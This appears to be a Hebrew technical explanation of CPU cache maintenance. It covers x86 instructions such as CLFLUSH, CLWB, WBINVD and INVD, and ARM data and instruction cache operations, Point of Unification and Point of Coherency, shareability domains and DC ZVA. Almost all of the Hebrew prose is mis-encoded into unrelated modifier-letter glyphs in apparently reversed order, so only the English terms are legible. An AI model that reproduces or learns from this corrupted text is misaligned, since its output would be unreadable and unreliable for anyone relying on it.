ˢ ˪˷ ˪ˣ˦˧˟ ˣ˞ ˧ˣ˵˧ˮ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˢˮ˩ˣ˸˟ ˨˶ˣ˴ ˷˧ ˫˧˸˧˰˪-cache ˭˩ˣ˸ ˶˷˞˩ ˸ˣ˷˶ˡˮ ˣ˪˞ ˸ˣ˪ˣ˰˲ .

 ˧ˮˣ˴˧˥ˢ ˭ˣ˶˩˧ˤˢˢ˷ ˥˧˦˟ˢ˪ ˨˶ˣ˴ ˷˧ˣ ,ˢˮ˸˷ˢ-cache  ˸ˣ˪ˣ˩˧ ˣ˪˞ ˸ˣ˪ˣ˰˲ .˫˧ˮ˷ˣ˧ˬ ˫˧ˮˣ˸ˮ ˪˧˩ˬ ˣˮ˧˞

˪ ˫˧˶ˣ˷˵ˢ ˫˧˧ˣˮ˧˷ ˶˥˞˪ ˫ˠ ˸ˣ˷˶ˡˮ ˸ˣ˧ˢ˪-MMU  ˸ˣ˧ˮ˧ˡˬ ,ˢ˷˧ˠ ˸ˣ˞˷˶ˢ ˧ˣˮ˧˷ ˣˬ˩cache ˧ˣ˲˧ˬ ,

ˢ ˶˷˞˩ ˣ˞ ,˸˧ˤ˧˲ ˸˟ˣ˸˩˪ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩-I-caches x-D-caches  ˡˣ˵˪ ˫˧ˮ˶˩ˮˣ˯ˬ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥

ˣˮ˷˟ ˭ˣˠ˩ ,˧ˬˮ˧ˡ ˭˲ˣ˞˟ ˶˴-JIT-compilers .˸ˣ˧ˬˮ˧ˡ ˸ˣ˧˶˲˯ ˧ˮ˰ˣ˦ˣ 

¶ ) ˪ˣ˦˧˟Invalidation ˪˷ (cache  ˣ˞cache line: ˢ ˪˷ ˧ˣ˵˧ˮ ˸˪˪ˣ˩ ˣˤ ˢ˪ˣ˰˲-cache  ˞˪˪ ˫˧ˮˣ˸ˮˬ

 ˪˷ ˪ˣ˦˧˟ ˧ˡ˧ ˪˰ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˣ˞ ˢ˞˟ˢ ˢˬ˶˪ ˢ˟˧˸˩cache line  ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ .˶˸ˣ˧ ˣ˞ ˸˥˞

ˢ˷ ˞˧ˢ-cache ˩ ˭ˬˣ˯ˬ-invalid ˶˧˯ˢ˪ ˨˶ˡ˩ ˸˞ˤ ˸ˣ˞˶˪ ˶˷˲˞ .˶ˡˠˣˬ ˣˮ˧˞ ˸ˣ˶ˣ˷ˢ ˭˩ˣ˸ ˭˩˪ˣ ,

ˢˬ ˭ˣ˶˩˧ˤˢ ˫ˣ˥˸˟ ˫˧˧ˣˮ˧˷-cache˪ ˣ˯ˮ˩˧ ˧ˮˣ˴˧˥ˢ ˭ˣ˶˩˧ˤˢˬ ˫˧˷ˡˣ˥ˬˢ ˫˧ˮˣ˸ˮˢ˷ ˨˩ ,-cache  ˢ˶ˣ˴˟

.ˢˮˣ˩ˮ 

¶  ˪˷ ˧ˣ˵˧ˮcache line  ˣ˞cache: ˢ ˸ˣ˶ˣ˷ ˪˷ ˭˩ˣ˸ˢ ˪˷ ˢ˟˧˸˩ ˸˪˪ˣ˩ ˣˤ ˢ˪ˣ˰˲-cache  ˸ˣˮˬˣ˯ˬˢ

 ˸ˣ˩˪˩ˣ˪ˬ˩ˢ ˪˷ ˢ˞˟ˢ ˢˬ˶˪-cache ˢ ˦˧˟ ˧ˣ˵˧ˮ ˭˩ˬ ˶˥˞˪ˣ ,˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˸ˣ˶˧˷˧ ˣ˞-dirty ˟-

cache lineˢ ˪˷ ˭˩ˣ˸ˢ˷ ˢ˥˧˦˟ˬ ˣˤ ˢ˪ˣ˰˲ .-cache line ˢ ˪˷ ˢ˞˟ˢ ˢˬ˶ˢ ˫˰ ˫˞ˣ˸ ˢ˧ˢ˧-cache 

.˭ˣ˶˩˧ˤˢ ˸˩˶˰ˬ ˫˰ ˣ˞ 

 ˸˵ˣˤ˥˸ ˸ˣ˪ˣ˰˲cache  ˭˸˰˲˷ˢˣ 

ˢ ˪˩ ˪˷ ˪ˣ˦˧˟ ˣ˞ ˧ˣ˵˧ˮ ˪˷ ˸ˣ˪ˣ˰˲ ,˸ˣ˪˧ˠ˶ ˸ˣ˟˧˯ˮ˟-cache ˵˧˰˟ ˸ˣ˰˴˟˸ˬˢ ˧ˡ˧ ˪˰ ˶-firmware  ˵˪˥˩

˟ ˶˟ˣˡˬ ˶˷˞˩ ˡ˥ˣ˧ˬ˟ ,˧˸ˣ˰ˬ˷ˬ ˭ˬˤ ˸˥˵˪ ˧ˣ˷˰ ˢˤ ˨˧˪ˢ˸ .ˢ˟˧˪ˢ ˪˷ ˧ˣ˟˧˩ˢ ˣ˞ ˢ˵˪ˡˢˢ ˨˧˪ˢ˸ˬ-

cache L2 ˢ˞˪ˣ˪˟ ˸ˣ˶ˣ˷ˢ ˪˩ ˪˰ ˶ˣ˟˰˪ ˷˧ ,ˢˤ˩ ˢ˶˵ˬ˟ .ˡˣ˞ˬ ˪ˣˡˠ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˸ˣ˶ˣ˷ˢ ˶˲˯ˬ ˣ˟˷ ,

.˰ˣ˴˧˟ˢ ˭ˬˤ ˸˞ ˨˧˶˞ˢ˪ ˪ˣ˩˧˷ ˢˬ ,˸˥˞ ˸˥˞ 
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x86  

Cache Line Writeback and Flush  

 ˸˞˶ˣˢCLFLUSH  ˸˞˴ˬˮ ˸˟ˣ˸˩ˢ ˫˞ˢ ˢ˵˧ˡ˟ ˸˰˴˟ˬˣ ˸˟ˣ˸˩ ˸˪˟˵ˬ-˟cache˟ ˸ˬ˧˧˵ ˸˟ˣ˸˩ˢ ˫˞ .-

cacheˢ ˸˶ˣ˷ ˪˩ ,-cache  ˟˴ˬ˟ ˢ˶ˣ˷ˢˬ ˣˢ˷˪˩ ˵˪˥˷ ˢ˶˵ˬ˟ .˸˧˵ˣ˥ ˞˪ ˸˧˷˰ˮ ˸˟ˣ˸˩ˢ ˸˞ ˸˪˪ˣ˩ˢ

 ,˶ˬˣ˪˩) ˨˪˩ˣ˪ˬmodified  ˣ˞owned ˟-MOESI ˞˧ˢ˷ ˧ˮ˲˪ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢ˶ˤ˥ ˸˟˸˩ˮ ˢ˶ˣ˷ˢ ˪˩ ,(

 .˸˪˦ˣ˟ˬCLFLUSH ˢ ˪˩ ˪˰ ˢ˰˧˲˷ˬ-cache- ˫˧˸˧˧˩˶˶˧ˢ˟˷ ˣ˶˩˧ˤˢˢ ˪˪ˣ˩ ,˭-cache- ˫˧˧ˬ˧ˮ˲ˢ ˫˧

 ˸˞˶ˣˢ ,˸˞ˤ ˸ˬˣ˰˪ .ˡ˟˰ˬ˟ ˸ˣ˟˧˪ˢ ˪˩ ˪˰ ˭˩ˣ ,ˡ˟˰ˬ˪ ˫˧˧ˮˣ˴˧˥ˣCLWB  ˞˪ ˞˧ˢ ˨˞ ,ˢˬˣˡ ˢ˶ˣ˴˟ ˸˪˰ˣ˲

ˢ ˸˶ˣ˷ ˸˞ ˸˪˦˟ˬ-cache ˢ˶˵ˬ˟ˣ ,˭ˣ˶˩˧ˤ˟ ˢˮ˩ˡˣ˰ ˸˟ˣ˸˩ˢ˷ ˡ˰ ˨˷ˬˮ ˪ˣ˦˧˟ˢˣ ˢ˵˧ˡ˟ˢ ˪˷ ˨˧˪ˢ˸ˢ .

 ˪˷CLFLUSHˢ ˪˩˷ ˡ˰ ,-cache- ˣˤ ˸˟ˣ˸˩˟ ˫˧˶ˣ˷˵ˢ ˫˧.ˣ˪˦ˣ˟ 

 ,˸˞ˤ ˫˰ .ˣˤˢ ˢ˞˶ˣˢˢ ˸˪ˣ˰˲ ˭˲ˣ˞ ˪˰ ˰˧˲˷ˬ ˞˪ ˸˟ˣ˸˩˪ ˢ˴˵ˣˢ˷ ˧˯˧˯˟ˢ ˭ˣ˶˩˧ˤˢ ˠˣ˯ ,˧˪˪˩ ˭˲ˣ˞˟

˩ ˶ˡˠˣˬ ˸˟ˣ˸˩ˢ ˶ˣ˟˰ ˧˯˧˯˟ˢ ˭ˣ˶˩˧ˤˢ ˠˣ˯ ˶˷˞˩-Uncacheable  ˣ˞Write Combining ˞˪ ˡ˟˰ˬˢ ,

ˢ ˪˩ ˸˞ ˵ˣˡ˟˪ ˨˧˷ˬ˧-cache-ˣ˸˩ˢ ,ˣ˪˞ ˫˧˟˴ˬ˟ .˫ˢ˟ ˸˞˴ˬˮ ˸˟ˣ˸˩ˢ ˫˞ ˞ˡˣˣ˪ ˧ˡ˩ ˫˧ ˸ˮ˸˧ˮ ˢˮ˧˞ ˸˟

 ˸˟ˣ˸˩ˢ ˥ˣˣ˦˟ ˸˪˲ˣˮ ˢˬ˧˞˸ˬˢ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˫˞ ,˭˩ ˣˬ˩ .˶˸ˣ˧ˬ ˞ˣˢ ˱˵ˣ˸ˢ ˪˷ ˪ˣ˦˧˟ˢˣ ˢ˶˧ˬ˷˪

 ˪˷ ˢ˪˧˰˲ˢWrite-Combining Buffer˟ ˫˧ˮˣ˸ˮˢ ,-buffer .˭ˣ˶˩˧ˤ˪ ˢ˶ˤ˥ ˣ˟˸˩˧ 

Cache Writeback  &Invalidate  

 ˸ˣ˞˶ˣˢ˪ ˡˣˠ˧ˮ˟CLFLUSH x-CLWB ˪˰ ˸ˣ˪˰ˣ˲ ˶˷˞ ,cache line  ˸ˣ˞˶ˣˢˢ ,˸ˡˡˣ˟WBINVD x-

WBNOINVD ˢ ˪˩ ˪˰ ˸ˣ˰˧˲˷ˬ-cache  ˸˞˶ˣˢ ˸˪˰˲ˣˬ ˶˷˞˩ .˸˩˶˰ˬ˟WBINVD ˢ˪˧˥˸ˬ ˞˧ˢ ,

˟˧˸˩˟ ˸write-back ˢ ˸ˣ˶ˣ˷ ˪˩ ˪˷-cache  ˟˴ˬ˟ ˸ˣ˶ˣ˷ ,˶ˬˣ˪˩) ˸ˣ˩˪˩ˣ˪ˬˢmodified  ˣ˞owned ˟-

MOESI ˸˞˶ˣˢ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˪˞ (WBINVD ˢ ˸ˣ˶ˣ˷ ˪˩ ˸˞ ˫ˠ ˸˪˦˟ˬ-cache ˡ˰ ˨˷ˬˮ ˢˤ ˨˧˪ˢ˸ .

ˢ ˪˩˷-cache- ,˫˧ˬ˧ˣ˯ˬ ˫˧˟˴ˬ˟ .˫˧˪˦˟˸ˬ ˸˩˶˰ˬˢ ˭ˣ˶˩˧ˤ˪ ˸˰˴˟ˬˢ ˢ˟˧˪ˢ ˪˷ ˟˧˸ˮ˟ ˫˧˧ˬ˧ˮ˲ˢ ˫˧

 ˫ˠ ˪ˣ˪˩˪ ˧ˣ˷˰ ˢˤ ˨˧˪ˢ˸cache-ˬ˶˟ ˫˧ˢ ˸˧˧˩˶˶˧ˢ˟ ˸ˣ˶˥˞ ˸ˣ-cache  ˸˥˞ ˪˩˪ .˸˩˶˰ˬˢ ˪˷

 ˶ˣˤ˥ˬ ˰˴˟˸ˬ ,˸ˣ˞˶ˣˢˢˬbus ˪ ˥˪˷ˮ˷ ˡ˥ˣ˧ˬ-cache- ˸ˣ˥ˮˢ˪ ˧ˡ˩ ,˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˸ˣˬ˶˟ ˫˧˧ˮˣ˴˧˥ ˫˧

.˱˵ˣ˸ ˪ˣ˦˧˟ˣ ˢ˟˧˸˩ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˫˸ˣ˞ 

Cache Invalidate  

 ˸˞˶ˣˢINVD ˢ ˸ˣ˶ˣ˷ ˪˩ ˸˞ ˪˦˟˪ ˸ˡ˰ˣ˧ˬ-cache ˸˞˶ˣˢ˪ ˡˣˠ˧ˮ˟ .WBINVD ˸˞˶ˣˢ ,INVD  ˸˰˴˟ˬ ˞˪

 ˢ˟˧˸˩write-back ˢ ˸ˣ˶ˣ˷ ˪˷-cache ˢ ˪˩˷ ˡ˰ ˨˷ˬˮ ˨˧˪ˢ˸ˢ .˧˷˞˶ˢ ˭ˣ˶˩˧ˤˢ ˪˞ ˸ˣ˩˪˩ˣ˪ˬˢ-

cache- ˶ˣˤ˥ˬ ˰˴˟˸ˬ ,˱˯ˣˮ˟ .ˣ˪˦ˣ˟ ˫˧˧ˬ˧ˮ˲ˢ ˫˧bus ˪ ˶˟˰ˣˬˢ ˡ˥ˣ˧ˬ-cache-˫˧  ˸ˣˬ˶˟ ˫˧˧ˮˣ˴˧˥

 ˸˞˶ˣˢ˟ ˷ˬ˸˷ˢ˪ ˷˧ .˱˵ˣ˸ ˪ˣ˦˧˟ ˰˴˟˪ ˫˸ˣ˞ ˸ˣ˥ˮˢ˪ ˧ˡ˩ ,˶˸ˣ˧ ˸ˣˢˣ˟ˠINVD  ˫ˢ˟˷ ˫˧˟˴ˬ˟ ˵˶

.˸˷˶ˡˮ ˢˮˮ˧˞ ˭ˣ˶˩˧ˤˢ ˸ˣ˧˦ˮ˶ˢˣ˵ 
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ARM  

-˟arm  ˸˵ˣˤ˥˸ ˸ˣ˪ˣ˰˲˪ ˢˬˣˡ ˸˧ˮ˟˸ ˷˧cache ˪-data cache ˪x-instruction cache ˸˞ˤ˩ ˢ˪ˣ˰˲ ˪˩ˣ ,

.˭ˣ˩ˮˢ ˫ˣ˵˧ˬ˪ˣ ˵ˣ˧ˡ˪ ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˭˸˧ˮ ˫˸˶ˤ˰˟˷ ˫˧˶˦ˬ˶˲ ˸˪˟˵ˬ 

ˢ ˠˣ˯-cache  

 ˸˞ ˭˟ˣˬ˩ ˢˤ ˶ˣ˥˟˪ ˨˧˶˴˷ ˭ˣ˷˞˶ˢ ˶˟ˡˢˢ ˠˣ˯-cache :ˢ˪ˣ˰˲ˢ ˸˞ ˪˧˰˲ˢ˪ ˫˧˴ˣ˶ ˣ˧˪˰˷ 

¶ ˢ ˪˰ ˸ˣ˪ˣ˰˲-data cache  ˢ˞˶ˣˢˢ ˧ˡ˧ ˪˰ ˸ˣ˰˴˟˸ˬDC 

¶ ˢ ˪˰ ˸ˣ˪ˣ˰˲-instruction cache  ˢ˞˶ˣˢˢ ˧ˡ˧ ˪˰ ˸ˣ˰˴˟˸ˬIC 

 ˢ˪ˣ˰˲ˢ ˠˣ˯ 

˟ ˣˬ˩-x86 ˟ ˫ˠ-ARM  ˭˧˟ ˶ˣ˥˟˪ ˭˸˧ˮн ˢ ˪˰ ˸ˣ˪ˣ˰˲-cache-:˫˧ 

¶  ˪˷ ˧ˣ˵˧ˮcache line  ˣ˞cache  ˧ˡ˧ ˪˰ ˭ˬˣ˯ˬ)C( 

¶  ˪˷ ˪ˣ˦˧˟cache line  ˣ˞cache  ˧ˡ˧ ˪˰ ˭ˬˣ˯ˬ)I( 

 ˫˧˰˲˷ˣˬ ˫˧˩˶˰ 

 ˸˵ˣˤ˥˸ ˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟ ˸˰˟cache ˶ˣ˥˟˪ ˭˸˧ˮ ,˪˰ :˪ˣ˥˪ ˢ˩˧˶˴ ˢ˪ˣ˰˲ˢ ˫˧˩˶˰ ˣ˪˧˞ 

¶ ) ˫˧˩˶˰ˢ ˪˩˪All ˪˩ ˪˰ ˢ˰˧˲˷ˬ ˣˤ ˢ˪ˣ˰˲ :(-scache ˟ ˢ˶˧˥˟ˢ .˸˩˶˰ˬ˟-All  ˶ˣ˟˰ ˢˮ˧ˬˤ ˢˮ˧˞

data cache. 

¶ ) ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩˪VAˢ ˸˶ˣ˷ ˪˰ ˸˰˴˟˸ˬ ˣˤ ˢ˪ˣ˰˲ :(-cache  ˸˟ˣ˸˩ ˪˷ ˭˩ˣ˸ ˢ˪˧˩ˬˢ

˪ ˫˧˯˥˧˧˸ˬ ˭˞˩ .˸˧˲˧˴˲˯ ˸˧˪˞ˣ˦˶˧ˣ-cache .˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˧˲ ˪˰ 

¶ s-Set x-Way ˪˰ ˸˰˴˟˸ˬ ˣˤ ˢ˪ˣ˰˲ :cache line ˪ ˸˶˥˟ˮ˷ ˸˧˲˧˴˲˯ˢ ˢˮ˟ˬ ˨ˣ˸˟ ˢˬˣ˵˧ˬ ˧˲-

cacheˢ ˧˲˪ ˶ˬˣ˪˩ ,-Set sx-Way .ˢ˪˷ 
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 ˸˵ˣˤ˥˸ ˱˵˧ˢˣ ˰ˣ˴˧˟ ˸ˡˣ˵ˮ ˸˶ˡˠˢcache  

-sscope  ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˢ˪ˣ˰˲ˢ ˰ˣ˴˧˟PoC  ˣ˞PoU. 

Point of Unification  

 ˸ˣˡˣ˵ˮ ˶˲˯ˬ ˫˧˧˵˸ˢ˪ ˸ˣ˧ˣ˷˰) ˡˣ˥˧˞PoU:˸˩˶˰ˬ˟ ( 

мΦ :ˢ˟˧˪ ˪˩˪ ˡˣ˥˧˞ ˸ˡˣ˵ˮ  ˸ˣ˞˶ˣˢ ˪˩ ,ˣˤ ˢˡˣ˵ˮ˟ .ˢ˪˷ˬ ˡˣ˥˧˞ ˸ˡˣ˵ˮ ˪˧˩ˢ˪ ˢ˧ˣ˷˰ ˸˩˶˰ˬ˟ ˢ˟˧˪ ˪˩

ˢ ˧ˮˣ˸ˮˣ ˭ˣ˶˩˧ˤˢ-cache  ˸ˣ˞˶ˣˢ ˣ˞ ˫˧ˮˣ˸ˮˢ ˭ˣ˶˩˧ˤ˟ ˫˧˧ˣˮ˧˷ ˪˩ ,˶ˬˣ˪˩ ,˫˧ˡ˥ˣ˞ˬ ˣˤ ˢ˟˧˪˪ ˫˧˶ˣ˷˵ˢ

cache .ˢˬ˴˰ ˢ˟˧˪˟ ˫˧ˡ˧˥˞˩ ˫˧˞˶ˮˣ ˫˧ˬ˞ˣ˸ˬ ˣˤ ˢ˟˧˪˟ 

нΦ ˸ˡˣ˵ˮ :˱ˣ˸˧˷ ˭˧˧ˬˣˡ˪ ˣ˞ ˢ˪ˣ˩ ˸˩˶˰ˬ˪ ˡˣ˥˧˞  ˢˢˣ˟ˠ ˢˬ˶˟ ˡˣ˥˧˞ ˸ˡˣ˵ˮ ˫˧˧˵˸ˢ˪ ˢ˧ˣ˷˰ ,˱˯ˣˮ˟

ˢ ˪˩ ,ˣˤ ˢˡˣ˵ˮ˟ .˪˪ˣ˩ˢ ˱ˣ˸˧˷ˢ (˫ˣ˥˸) ˭˧˧ˬˣˡ˪ ˣ˞ ˢ˪ˣ˩ ˸˩˶˰ˬ˪ ˸˯˥˧˧˸ˬˢ ,˶˸ˣ˧-cache- ˫˧

˟ ˫˧˷˥˶˸ˬˢ ˫˧˧ˣˮ˧˷ˢ ˪˩˷ ˨˩ ,˫˧ˡ˥ˣ˞ˬ ˱ˣ˸˧˷ˢ ˭˧˧ˬˣˡ˟ ˣ˞ ˸˩˶˰ˬ˟-cache  ˸ˣ˞˶ˣˢ ˣ˞ ˫˧ˮˣ˸ˮˢ

-scache .˭˧˧ˬˣˡ ˣ˸ˣ˞ ˸˞ ˫˧˲˸˷ˬˢ ˫˧ˡ˟˰ˬˢ ˪˩˟ ˫˧ˡ˧˥˞˩ ˫˧˞˶ˮ 

 ˰˴˟˸ˬ ˶˷˞˩fetch ) ˶˸ˣ˧˟ ˢ˟ˣ˶˵ˢ ˡˣ˥˧˞ˢ ˸ˡˣ˵ˮ˪ ˰˧ˠˢ ˧ˣˮ˧˷ˢ˷ ˤˬ˶ˬ ˢˤ ,ˢ˟˧˸˩ˬPoU ˪˩ ,˶ˬˣ˪˩ .(

 ˸˶˥˞ ˡˣ˥˧˞ ˸ˡˣ˵ˮ ˪˩˪ ˰˧ˠˢ ˧ˣˮ˧˷ˢ˷ ˤˬ˶ˬ ˞˪ ˢˤ ,˸˞ˤ ˫˰ .ˣˤ ˢˡˣ˵ˮ˪ ˡ˰ ˫˧ˮ˩ˡˣ˰ˬˣ ˫˧˶ˬ˷ˮ ˫˧˧ˣˮ˧˷ˢ

 ˢ˟˧˸˩ˢ ˫˞ ˫ˠ ,˸˩˶˰ˬ˟.˸˩˶˰ˬ˟ ˶˥˞ ˡ˟˰ˬ ˣ˞ ˸˵˥ˣ˶ˬ ˢ˟˧˪ ˧ˡ˧ ˪˰ ˢ˰˴ˣ˟ 

ˢ ˸˶˩ˢ-PoU  ˸˶˷˲˞ˬself-modifying code ˷ ˥˧˦˟ˢ˪ ˧ˡ˩-fetch  ˢ˶ˣ˴˟ ˣ˰˴ˣ˟˧ ˸ˣ˧ˡ˧˸˰ ˸ˣ˞˶ˣˢ ˪˷

.˧ˣˮ˧˷ˢ ˸˞ ˶˟˰˷ ˡˣ˵ˢ ˪˷ ˢ˯˶ˠˢˬ ˢˮˣ˩ˮ 

Point of Coherency  

) ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˣˡˣ˵ˮPoC (- ˢ ˧ˮˣ˩ˡ˰ ˢ˟˷ ˢˡˣ˵ˮˢ ˞˧ˢ-cache  ,˸ˣ˟˧˪ˢ ˪˩ ˭˩˪ .˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤ˪ ˫˧˲˥ˡˮ

DSPs ˧ˮ˵˸ˢ ,I/O ˧˰ˣˮˬ ,DMA ˣ˩ˣ.˭ˣ˶˩˧ˤ ˪˷ ˵˸ˣ˰ ˣ˸ˣ˞ ˸˞ ˫˧˞ˣ˶ ,' 

 ˱ˣ˸˧˷ˢ ˠˣ˯ 

 ,˶ˡ˷˪ ˭˸˧ˮ˷ ˸ˣ˪ˣ˰˲˪˭˸˧ˮ :˱ˣ˸˧˷ˢ ˸ˬ˶ ˸˞ ˶ˣ˥˟˪  ˱ˣ˸˧˷ˢ ˠˣ˯"Inner ShareableϦ  ˧ˡ˧ ˪˰ ˭ˬˣ˯ˬISΦ 

-scache  ˸˩˶˰ˬˢ ˸ˬ˶˟ 

˟ ˭˧˥˟ˢ˪ ˭˸˧ˮ ,˸˧˪˞ˣ˦˲˯ˮˣ˵ ˢˮ˧˥˟ˬ-н  ˪˷ ˸ˣ˧˶˵˧˰ ˸ˣ˧˶ˣˠ˦˵cache-˟ ˸˩˶˰ˬ ˧-arm: 

м s-cache- ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˧ˮ˲˪ ˸˩˶˰ˬ ˧˧˵˪˥ ˪ˣˢ˧ˮ˪ ˫˧ˮ˸˧ˮˢ :cache- ˫˧˞˴ˬˮ ˢ˪˞ ˸˩˶˰ˬ ˧

 ˪˷ ˢ˵ˣˤ˥˸ ˸ˣ˞˶ˣˢ ˸ˣ˰˴ˬ˞˟ ˪ˣˢ˧ˮ˪ ˫˧ˮ˸˧ˮˣ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˧ˮ˲˪cache  ˸˟ˣ˸˩ ˧˲ ˪˰

 ˢ˵ˣˤ˥˸ ˸ˣ˞˶ˣˢ ˧ˡ˧ ˪˰ ˪ˣˢ˧ˮ˪ ˫˧ˮ˸˧ˮ ˫ˮ˧˞ ˫ˢ ,˸˞ˤ ˫˰ .˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˪˰ ˸ˣ˪˥ˢ ˸˧˪˞ˣ˦˶˧ˣ
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 ˧˲˪set/way ˪˷ ˢ˵ˣˤ˥˸ .cache- ˣˬ˩ ,ˢ˪˞˩ ˫˧ ˰˴˟˸ˢ˪ ˸˟˧˧˥ ,˪ˬ˷˥ ˸˩˧˶˴ ˪ˣˢ˧ˮ ˪˷ ˢ˶˵ˬ˟

.˫˧˧ˮˣ˦˵˦˧˩˶˞ ˫ˮ˧˞˷ ˫˧ˮˣˮˠˮˬ ˸ˣ˰˴ˬ˞˟ 

н s-cache-:˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˶˟˰ˬ ˸˩˶˰ˬ ˧ cache- ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˶˟˰ˬ ˫˧˞˴ˬˮ ˢ˪˞ ˫˧

 ˪ˣˢ˧ˮ .ˢˮ˩ˣ˸˪ ˫˧˷˧ˠˮ ˫ˮ˧˞ ˭˩˪ˣcache- ˳ˣ˥ˬ ˪ˣˢ˧ˮ˪ ˭ˣ˸ˮˣ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˫ˣ˥˸˟ ˪˪˩ˮ ˣˮ˧˞ ˢ˪˞˩ ˫˧

˩˶˰ˬ˪.˸˧ˮˣ˦˵˦˧˩˶˞ˢ ˸ 

 ˸˞˶ˣˢ˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩ ,˫˧ˡ˟˰ˬ ˸˟ˣ˶ˬ ˸˩˶˰ˬ˟IC IVAU  ˫ˣ˵˧ˬ ˶ˣ˟˰non-cacheable ˢ˞˶ˣˢˢ ,

 ˫ˣ˥˸ˢ ˨ˣ˸˟ ˫˧ˡ˟˰ˬˢ ˪˩˪ ˸˶ˡˣ˷ˬInner Shareable  ˸ˣ˶ˬ˪ ˸˞ˤ .ˢ˞˶ˣˢˢ ˸˞ ˰˴˟ˬ˷ ˡ˟˰ˬˢ ˪˷

 ˧ˡ˧ ˪˰ ˫˧˩ˬ˸ˮ ˫ˮ˧˞˷ ˫˧˪˧ˠ˶ ˭ˣ˶˩˧ˤ ˧ˬˣ˵˧ˬ˷cache ˪˞˩ ˫˧˪˲ˣ˦ˬ ,Outer Shared ˬ˟ ˪˷ ˫˧˶˥˞ ˫˧˟˴

.ˢ˶ˣ˦˵˦˧˩˶˞ˢ 

 ˧ˣ˷˰ ˢˤ .˫˧˶˥˞ˢ ˫˧ˡ˟˰ˬˢ ˫˰ ˫˧ˡ˟˰ˬˢ ˸ˣ˪ˣ˰˲ ˸˞ ˭˶˩ˮ˯˪ ˧ˡ˩ ˢˮ˩ˣ˸˟ ˫˧˲˯ˣˮ ˫˧ˡ˰˴ ˣ˷˶ˡ˧˧˷ ˭˩˸˧˧

 ˸˞˶ˣˢ ˰ˣ˴˧˟ ˪ˣ˪˩˪ISB  ˰ˣ˴˧˟ˣ ˫˧˧ˣˮ˧˷˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˧˰˟ ˰ˣˮˬ˪ ˸ˮˬ ˪˰ ,˱˵ˣ˸ˢ ˪ˣ˦˧˟ ˸ˬ˪˷ˢ ˶˥˞˪

.˸ˣ˞˶ˣˢ ˧˲˴˶ ˪˷ ˪˧˟˵ˬ˟ 

ˣ˞˶ˣˢ ˪˷ ˶˸ˣ˧ ˫˧˪ˣˡˠ ˫˧˵ˣ˪˟ ˸˞˶ˣˢ ˸ˣ˰˴ˬ˞˟ ˸ˣˮ˷˪ ˭˸˧ˮ ˸IC IALLU ˡ˥ ˸˩˶˰ˬ˟- ˸ˣ˰˴ˬ˞˟ ˣ˞ ,ˡ˟˰ˬ

IC IALLUIS .˫˧ˡ˟˰ˬ ˸˟ˣ˶ˬ ˸˩˶˰ˬ˟ 

 ˯ˣ˲˧˞cache (Zero)  

ˢ ˸ˮ˧˰˦ ˸˪ˣ˩˧-cache  ˸˞˶ˣˢ ˸ˣ˰˴ˬ˞˟ ˯˲˞ ˧˩˶˰ ˫˰ ˷˞˶ˬDC ZVA ˢ˶ˣ˴˟ ˪ˣ˰˲˪ ˫˧ˡ˟˰ˬ˪ ˸˶˷˲˞ˬ ,

.˭ˬˤ ˢ˟˶ˢ ˸˥˵˪ ˢ˪ˣ˩˧ ˫˧˸˧˰˪˷ ,˸ˣ˧ˮˣ˴˧˥ ˭ˣ˶˩˧ˤ ˸ˣ˩˶˰ˬ˪ ˢ˷˧ˠ ˸ˬˣ˰˪ ˢ˶˧ˢˬ ˶˸ˣ˧ ˢ˟˶ˢ 

 ˯ˣ˲˧˞cache line  ˪˰ ˡ˟˰ˬ˪ ˤˣˬ˶˪ ˫˧˩˶ˡ˟ ˶˟ˣˡˬ˷ ˨˩˟ ,˸ˬˡ˵ˣˬ ˢ˲˧˪˷˪ ˢˬˣˡ ˢ˶ˣ˴˟ ˰˴˟˸ˬ

ˬ˧ˣ˯ˬ ˸ˣ˟ˣ˸˩˟ ˧ˣ˲˴ˢ ˷ˣˬ˧˷ˢ ˭˧˞˷ ˭ˣˣ˧˩ˬ ,˶˸ˣ˧ ˢ˶˧ˢˬ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˯ˣ˲˧˞ˢ ˸˪ˣ˰˲ ,˸˞ˤ ˫˰ .ˡ˧˸˰˟ ˸ˣ

ˢ ˨ˣ˸˪ ˭ˣ˶˩˧ˤˢˬ ˫˧ˮˣ˸ˮˢ ˸˞ ˞ˣ˶˵˪ ˫ˣ˵ˬ˟ .˧ˮˣ˴˧˥ ˭ˣ˶˩˧ˤ˪ ˢ˷˧ˠ ˸ˬ˪˷ˢ˪ ˭˧˸ˬˢ˪ ˨˶ˣ˴-cache ˸ˣ˶ˣ˷ ,

